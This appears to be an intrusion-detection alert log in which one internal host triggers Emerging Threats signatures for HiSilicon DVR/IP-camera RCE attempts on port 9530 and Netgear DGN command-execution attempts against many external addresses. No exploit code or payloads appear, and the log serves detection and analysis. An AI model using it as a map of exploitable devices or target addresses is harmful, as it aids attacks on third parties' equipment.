05/16/24-16:39:05.677921	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60458	9530	192.168.2.23	12.75.171.165
05/16/24-16:39:05.677921	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60458	9530	192.168.2.23	12.75.171.165
05/16/24-16:38:59.518404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42742	9530	192.168.2.23	184.1.122.52
05/16/24-16:38:59.518404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42742	9530	192.168.2.23	184.1.122.52
05/16/24-16:38:53.011530	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36562	9530	192.168.2.23	216.153.119.104
05/16/24-16:39:08.041957	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35376	9530	192.168.2.23	167.187.204.211
05/16/24-16:39:08.041957	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35376	9530	192.168.2.23	167.187.204.211
05/16/24-16:39:08.044912	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50508	9530	192.168.2.23	47.43.53.61
05/16/24-16:39:08.044912	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50508	9530	192.168.2.23	47.43.53.61
05/16/24-16:39:14.531053	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52026	9530	192.168.2.23	81.88.141.231
05/16/24-16:39:16.580464	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44574	9530	192.168.2.23	173.31.156.195
05/16/24-16:38:50.004199	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54400	9530	192.168.2.23	150.41.186.17
05/16/24-16:38:50.004199	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54400	9530	192.168.2.23	150.41.186.17
05/16/24-16:39:14.494578	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49540	9530	192.168.2.23	58.169.183.199
05/16/24-16:39:16.580464	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44574	9530	192.168.2.23	173.31.156.195
05/16/24-16:39:14.494578	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49540	9530	192.168.2.23	58.169.183.199
05/16/24-16:39:14.531053	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52026	9530	192.168.2.23	81.88.141.231
05/16/24-16:38:57.434327	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41360	9530	192.168.2.23	157.173.99.149
05/16/24-16:38:49.306238	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	44310	80	192.168.2.23	45.89.131.53
05/16/24-16:39:16.613602	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53760	9530	192.168.2.23	220.143.189.241
05/16/24-16:39:14.530225	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42048	9530	192.168.2.23	125.228.144.224
05/16/24-16:39:14.530225	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42048	9530	192.168.2.23	125.228.144.224
05/16/24-16:39:05.678431	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50190	9530	192.168.2.23	49.141.64.164
05/16/24-16:39:12.383706	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39902	9530	192.168.2.23	44.55.173.149
05/16/24-16:39:16.613602	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53760	9530	192.168.2.23	220.143.189.241
05/16/24-16:39:05.678431	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50190	9530	192.168.2.23	49.141.64.164
05/16/24-16:39:08.047720	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56758	9530	192.168.2.23	2.196.130.133
05/16/24-16:39:12.383706	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39902	9530	192.168.2.23	44.55.173.149
05/16/24-16:38:59.557667	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35154	9530	192.168.2.23	86.230.237.87
05/16/24-16:39:14.509948	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48890	9530	192.168.2.23	80.151.17.242
05/16/24-16:38:53.011530	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36562	9530	192.168.2.23	216.153.119.104
05/16/24-16:39:08.135843	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43790	9530	192.168.2.23	196.56.160.88
05/16/24-16:38:59.557667	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35154	9530	192.168.2.23	86.230.237.87
05/16/24-16:39:08.135843	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43790	9530	192.168.2.23	196.56.160.88
05/16/24-16:38:53.065665	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57502	9530	192.168.2.23	49.51.149.152
05/16/24-16:39:12.380565	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46036	9530	192.168.2.23	204.155.208.170
05/16/24-16:39:05.717260	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59158	9530	192.168.2.23	88.158.29.99
05/16/24-16:39:05.717260	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59158	9530	192.168.2.23	88.158.29.99
05/16/24-16:39:12.380565	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46036	9530	192.168.2.23	204.155.208.170
05/16/24-16:39:14.509948	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48890	9530	192.168.2.23	80.151.17.242
05/16/24-16:38:53.065665	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57502	9530	192.168.2.23	49.51.149.152
05/16/24-16:38:57.434327	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41360	9530	192.168.2.23	157.173.99.149
05/16/24-16:38:55.208905	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40708	9530	192.168.2.23	99.22.132.124
05/16/24-16:39:02.725553	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43630	9530	192.168.2.23	37.74.204.209
05/16/24-16:39:02.748336	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34512	9530	192.168.2.23	196.198.174.222
05/16/24-16:38:55.208905	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40708	9530	192.168.2.23	99.22.132.124
05/16/24-16:39:02.748336	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34512	9530	192.168.2.23	196.198.174.222
05/16/24-16:39:02.725553	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43630	9530	192.168.2.23	37.74.204.209
05/16/24-16:39:12.380072	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59542	9530	192.168.2.23	216.198.78.60
05/16/24-16:39:12.380072	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59542	9530	192.168.2.23	216.198.78.60
05/16/24-16:39:14.493556	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38448	9530	192.168.2.23	162.208.209.52
05/16/24-16:39:14.493556	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38448	9530	192.168.2.23	162.208.209.52
05/16/24-16:39:05.676827	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58442	9530	192.168.2.23	97.185.107.61
05/16/24-16:38:55.176116	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56196	9530	192.168.2.23	139.195.97.112
05/16/24-16:38:59.559321	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46288	9530	192.168.2.23	185.188.86.179
05/16/24-16:38:50.052092	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36276	9530	192.168.2.23	136.248.165.141
05/16/24-16:38:55.176116	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56196	9530	192.168.2.23	139.195.97.112
05/16/24-16:39:05.676827	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58442	9530	192.168.2.23	97.185.107.61
05/16/24-16:38:50.052092	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36276	9530	192.168.2.23	136.248.165.141
05/16/24-16:39:03.268490	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45220	9530	192.168.2.23	188.10.225.110
05/16/24-16:38:59.559321	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46288	9530	192.168.2.23	185.188.86.179
05/16/24-16:39:03.268490	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45220	9530	192.168.2.23	188.10.225.110
05/16/24-16:38:59.519288	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42740	9530	192.168.2.23	8.238.242.99
05/16/24-16:39:08.145073	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39890	9530	192.168.2.23	41.218.203.124
05/16/24-16:38:59.519288	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42740	9530	192.168.2.23	8.238.242.99
05/16/24-16:39:08.145073	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39890	9530	192.168.2.23	41.218.203.124
05/16/24-16:38:57.429394	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51730	9530	192.168.2.23	206.135.248.191
05/16/24-16:39:05.700273	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34720	9530	192.168.2.23	58.226.103.11
05/16/24-16:39:05.700273	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34720	9530	192.168.2.23	58.226.103.11
05/16/24-16:38:53.094045	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36506	9530	192.168.2.23	203.133.219.228
05/16/24-16:38:53.094045	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36506	9530	192.168.2.23	203.133.219.228
05/16/24-16:38:57.429394	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51730	9530	192.168.2.23	206.135.248.191
05/16/24-16:39:12.301227	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54058	9530	192.168.2.23	154.221.16.141
05/16/24-16:39:12.301227	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54058	9530	192.168.2.23	154.221.16.141
05/16/24-16:38:50.004188	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55202	9530	192.168.2.23	27.163.86.188
05/16/24-16:38:50.004188	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55202	9530	192.168.2.23	27.163.86.188
05/16/24-16:38:59.558462	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59036	9530	192.168.2.23	41.119.10.33
05/16/24-16:39:05.714913	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36036	9530	192.168.2.23	74.13.86.103
05/16/24-16:39:05.714913	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36036	9530	192.168.2.23	74.13.86.103
05/16/24-16:38:59.584418	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33128	9530	192.168.2.23	4.241.118.175
05/16/24-16:38:59.558462	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59036	9530	192.168.2.23	41.119.10.33
05/16/24-16:38:59.584418	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33128	9530	192.168.2.23	4.241.118.175
05/16/24-16:39:16.597912	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48426	9530	192.168.2.23	213.196.24.26
05/16/24-16:39:16.597912	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48426	9530	192.168.2.23	213.196.24.26
05/16/24-16:38:55.192659	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44094	9530	192.168.2.23	12.16.180.127
05/16/24-16:38:55.192659	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44094	9530	192.168.2.23	12.16.180.127
05/16/24-16:39:12.401694	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37140	9530	192.168.2.23	165.199.211.78
05/16/24-16:39:12.401694	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37140	9530	192.168.2.23	165.199.211.78
05/16/24-16:38:53.011491	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44416	9530	192.168.2.23	182.1.80.178
05/16/24-16:38:53.011491	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44416	9530	192.168.2.23	182.1.80.178
05/16/24-16:38:50.047743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60964	9530	192.168.2.23	44.27.114.37
05/16/24-16:38:50.047743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60964	9530	192.168.2.23	44.27.114.37
05/16/24-16:38:59.589131	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37404	9530	192.168.2.23	178.112.234.166
05/16/24-16:39:16.598410	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51332	9530	192.168.2.23	58.166.51.23
05/16/24-16:39:16.598410	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51332	9530	192.168.2.23	58.166.51.23
05/16/24-16:38:59.589131	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37404	9530	192.168.2.23	178.112.234.166
05/16/24-16:38:53.064429	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58516	9530	192.168.2.23	221.170.45.211
05/16/24-16:38:59.593430	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37794	9530	192.168.2.23	34.29.98.17
05/16/24-16:38:53.064429	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58516	9530	192.168.2.23	221.170.45.211
05/16/24-16:38:59.593430	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37794	9530	192.168.2.23	34.29.98.17
05/16/24-16:39:14.492333	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52520	9530	192.168.2.23	93.10.3.210
05/16/24-16:39:14.492333	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52520	9530	192.168.2.23	93.10.3.210
05/16/24-16:38:57.438269	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57264	9530	192.168.2.23	75.87.133.189
05/16/24-16:38:57.438269	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57264	9530	192.168.2.23	75.87.133.189
05/16/24-16:39:05.506752	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	60530	80	192.168.2.23	8.172.120.59
05/16/24-16:39:16.580466	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40384	9530	192.168.2.23	117.21.220.179
05/16/24-16:39:16.580466	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40384	9530	192.168.2.23	117.21.220.179
05/16/24-16:39:02.766979	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53780	9530	192.168.2.23	179.164.73.114
05/16/24-16:39:08.044894	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36446	9530	192.168.2.23	186.168.255.192
05/16/24-16:39:02.766979	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53780	9530	192.168.2.23	179.164.73.114
05/16/24-16:39:08.044894	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36446	9530	192.168.2.23	186.168.255.192
05/16/24-16:39:08.126432	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48430	9530	192.168.2.23	166.153.108.23
05/16/24-16:39:08.126432	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48430	9530	192.168.2.23	166.153.108.23
05/16/24-16:39:16.611867	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60322	9530	192.168.2.23	154.243.195.1
05/16/24-16:39:12.295475	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58228	9530	192.168.2.23	67.38.33.176
05/16/24-16:39:12.295475	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58228	9530	192.168.2.23	67.38.33.176
05/16/24-16:38:49.305817	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	37628	80	192.168.2.23	181.188.20.229
05/16/24-16:38:57.408665	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54668	9530	192.168.2.23	17.16.157.81
05/16/24-16:38:57.408665	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54668	9530	192.168.2.23	17.16.157.81
05/16/24-16:38:57.411384	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46200	9530	192.168.2.23	78.48.28.118
05/16/24-16:38:57.411384	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46200	9530	192.168.2.23	78.48.28.118
05/16/24-16:38:50.069055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37106	9530	192.168.2.23	169.219.159.17
05/16/24-16:38:50.069055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37106	9530	192.168.2.23	169.219.159.17
05/16/24-16:39:03.280132	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34118	9530	192.168.2.23	197.85.200.199
05/16/24-16:39:05.714933	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48432	9530	192.168.2.23	161.213.226.101
05/16/24-16:39:05.714933	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48432	9530	192.168.2.23	161.213.226.101
05/16/24-16:39:08.092958	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59526	9530	192.168.2.23	182.42.187.34
05/16/24-16:39:08.092947	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34854	9530	192.168.2.23	104.186.144.87
05/16/24-16:39:08.092958	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59526	9530	192.168.2.23	182.42.187.34
05/16/24-16:39:08.092947	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34854	9530	192.168.2.23	104.186.144.87
05/16/24-16:38:57.304731	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37910	9530	192.168.2.23	110.108.24.89
05/16/24-16:38:57.304731	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37910	9530	192.168.2.23	110.108.24.89
05/16/24-16:39:03.280132	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34118	9530	192.168.2.23	197.85.200.199
05/16/24-16:39:05.677868	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57858	9530	192.168.2.23	20.68.198.40
05/16/24-16:39:05.677868	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57858	9530	192.168.2.23	20.68.198.40
05/16/24-16:38:59.519428	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50708	9530	192.168.2.23	17.224.203.193
05/16/24-16:38:59.519428	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50708	9530	192.168.2.23	17.224.203.193
05/16/24-16:39:14.492253	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42442	9530	192.168.2.23	62.20.83.105
05/16/24-16:39:12.295395	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38910	9530	192.168.2.23	89.251.251.62
05/16/24-16:39:14.492253	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42442	9530	192.168.2.23	62.20.83.105
05/16/24-16:38:55.220928	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55756	9530	192.168.2.23	67.1.237.162
05/16/24-16:39:12.295395	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38910	9530	192.168.2.23	89.251.251.62
05/16/24-16:38:55.220928	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55756	9530	192.168.2.23	67.1.237.162
05/16/24-16:39:01.474040	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	51530	80	192.168.2.23	36.80.241.120
05/16/24-16:38:55.176105	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53874	9530	192.168.2.23	147.40.121.22
05/16/24-16:38:55.176105	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53874	9530	192.168.2.23	147.40.121.22
05/16/24-16:38:55.207705	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44794	9530	192.168.2.23	71.63.135.63
05/16/24-16:38:55.207705	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44794	9530	192.168.2.23	71.63.135.63
05/16/24-16:39:05.676869	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36728	9530	192.168.2.23	151.96.131.75
05/16/24-16:39:05.676869	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36728	9530	192.168.2.23	151.96.131.75
05/16/24-16:38:55.198254	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51364	9530	192.168.2.23	42.114.53.223
05/16/24-16:39:08.149057	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56342	9530	192.168.2.23	150.105.230.199
05/16/24-16:38:53.098991	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57866	9530	192.168.2.23	195.159.146.36
05/16/24-16:38:55.198254	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51364	9530	192.168.2.23	42.114.53.223
05/16/24-16:39:02.744354	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45448	9530	192.168.2.23	129.24.21.219
05/16/24-16:39:08.149057	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56342	9530	192.168.2.23	150.105.230.199
05/16/24-16:38:53.098991	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57866	9530	192.168.2.23	195.159.146.36
05/16/24-16:39:02.744354	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45448	9530	192.168.2.23	129.24.21.219
05/16/24-16:38:57.429392	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35720	9530	192.168.2.23	87.109.151.122
05/16/24-16:38:57.429392	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35720	9530	192.168.2.23	87.109.151.122
05/16/24-16:39:08.041929	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33458	9530	192.168.2.23	219.73.74.157
05/16/24-16:39:16.579857	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42772	9530	192.168.2.23	36.125.122.23
05/16/24-16:39:08.041929	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33458	9530	192.168.2.23	219.73.74.157
05/16/24-16:39:16.579857	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42772	9530	192.168.2.23	36.125.122.23
05/16/24-16:38:55.192823	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58906	9530	192.168.2.23	35.240.139.72
05/16/24-16:38:55.192823	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58906	9530	192.168.2.23	35.240.139.72
05/16/24-16:38:57.434380	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60990	9530	192.168.2.23	96.8.15.113
05/16/24-16:38:57.434380	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60990	9530	192.168.2.23	96.8.15.113
05/16/24-16:38:59.593432	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37886	9530	192.168.2.23	136.11.247.228
05/16/24-16:39:16.611867	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60322	9530	192.168.2.23	154.243.195.1
05/16/24-16:38:59.593432	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37886	9530	192.168.2.23	136.11.247.228
05/16/24-16:38:57.444126	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52554	9530	192.168.2.23	39.202.185.148
05/16/24-16:38:57.444126	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52554	9530	192.168.2.23	39.202.185.148
05/16/24-16:38:59.559303	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60782	9530	192.168.2.23	178.183.74.104
